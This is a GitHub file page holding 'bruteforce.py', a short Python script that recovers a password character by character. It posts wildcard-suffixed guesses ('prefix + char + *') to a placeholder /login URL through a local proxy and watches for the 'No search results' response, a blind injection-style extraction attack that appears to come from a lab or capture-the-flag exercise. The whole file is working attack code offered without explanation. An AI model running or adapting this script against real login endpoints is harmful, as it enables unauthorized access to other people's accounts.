-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbruteforce.py
21 lines (17 loc) · 949 Bytes
/
bruteforce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
list = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '!', '"', '#', '$', '%', '&', "'", '(', ')', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
url = 'http://' + "insert url here" + '/login'
myobj = {'username': 'username', 'password': 'somevalue'}
result = ''
flag = 1
while flag == 1:
flag = 0
for l in list:
myobj['password'] = result + l + '*'
r = requests.post(url, data = myobj, proxies = { "http" : "127.0.0.1:8080"})
if ('No search results' in r.text):
result += l
flag = 1
print(result)
break
print("Finish!!")